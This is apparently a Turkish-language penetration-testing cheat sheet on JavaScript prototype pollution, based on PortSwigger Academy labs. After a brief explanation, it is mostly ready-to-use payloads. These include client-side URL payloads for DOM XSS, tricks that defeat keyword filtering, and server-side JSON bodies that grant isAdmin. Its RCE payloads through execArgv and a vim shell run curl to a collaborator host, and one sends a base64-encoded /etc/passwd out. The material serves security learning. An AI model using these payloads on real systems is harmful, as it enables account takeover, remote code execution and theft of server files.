Prototype pollution

Prototype Pollution Nedir?

Prototip pollution güvenlik açıkları genellikle bir JavaScript fonksiyonu, kullanıcı tarafından kontrol edilebilen özellikler içeren bir nesneyi, önce anahtarları kontrol etmeden mevcut bir nesneyle recursive olarak birleştirdiğinde ortaya çıkar. Bu, bir saldırganın proto gibi bir anahtara sahip bir özelliği isteğe bağlı iç içe geçmiş özelliklerle birlikte enjekte etmesine olanak tanıyabilir.

JavaScript bağlamında proto'nun özel anlamı nedeniyle, merge işlemi iç içe geçmiş özellikleri hedef nesnenin kendisi yerine nesnenin prototipine atayabilir. Sonuç olarak, saldırgan prototipi zararlı değerler içeren özelliklerle doldurabilir ve bu özellikler daha sonra uygulama tarafından tehlikeli bir şekilde kullanılabilir.

Herhangi bir prototip nesnesini kirletmek mümkündür, ancak bu en yaygın olarak yerleşik global Object.prototype ile gerçekleşir.

Saldırı Yöntemleri

Client-side Prototype Pollution

/?__proto__[value]=foo
/?__proto__[value]=data:,alert(1);

Client-side Prototype Pollution ile Dom XSS

/?__proto__[transport_url]=foo
/?__proto__[transport_url]=data:,alert(1);

Altarnatif Prototype Pollution Yöntemi

Aşağıdaki yöntemleri ile aynı işlemi yapabiliriz.

/?__proto__[value]=foo
/?__proto__.foo=bar
/?constructor.prototype.foo=bar
/?__proto__.foo=bar
/?__proto__.sequence=alert(1)
/?__proto__.sequence=alert(1)-

Hatalı Sanitization

Eğer __proto__, prototype, constructor kelimeleri silinerek önlenmeye çalışıyorsa aşağıdaki payloadlar kullanılabilir.

/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__.foo=bar

/?constconstructorructor[protoprototypetype][foo]=bar
/?constconstructorructor.protoprototypetype.foo=bar
/?__pro__proto__to__[transport_url]=foo
/?__pro__proto__to__[transport_url]=data:,alert(1);

Server-side Prototype Pollution (Node.js Express Framework)

POST /my-account/change
{
    "username":"wiener",
}

POST /my-account/change
{
    "username":"wiener",
    "__proto__": {
    "isAdmin":true
    }
}

Server-side Prototype Pollution Hata Mesajlarına (Node.js Express Framework)

Eğer inject ettiğimiz değer yansımıyor ise json parse hatası verdirip hata mesajına bakabiliriz. Hata mesajındaki değerlere injection yapabiliyor olabiliriz.

POST /my-account/change
{
    "username":"wiener",
    aaaaaaaaa
}

POST /my-account/change
{
    "username":"wiener",
    "__proto__": {
    "status":555
    }
}

Server-side Prototype Pollution Blacklist Bypass (Node.js Express Framework)

POST /my-account/change
{
    "username":"wiener",
}

POST /my-account/change
{
    "username":"wiener",
    "constructor": {
        "prototype": {
            "isAdmin":true
        }
    }
}

Server-side Prototype Pollution Space (Node.js Express Framework)

POST /my-account/change
{
    "username":"wiener",
}

POST /my-account/change
{
    "username":"wiener",
    "__proto__": {
        "json spaces":10
    }
}

Server-side Prototype Pollution RCE (Node.js Express Framework)

POST /my-account/change
{
    "username":"wiener",
}

POST /my-account/change
{
    "username":"wiener",
    "__proto__": {
        "execArgv":[
            "--eval=require('child_process').execSync('curl https://COLLABORATOR')"
        ]
    }
}
POST /my-account/change
{
    "username":"wiener",
}

POST /my-account/change
{
    "username":"wiener",
    "__proto__": {
        "shell":"vim",
        "input":":! curl https://COLLABORATOR\n"
    }
}

POST /my-account/change
{
    "username":"wiener",
    "__proto__": {
        "shell":"vim",
        "input":":! cat /etc/passwd | base64 | curl -d @- https://COLLABORATOR\n"
    }
}

Araçlar

Dom Invader

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/prototype-pollution

Last updated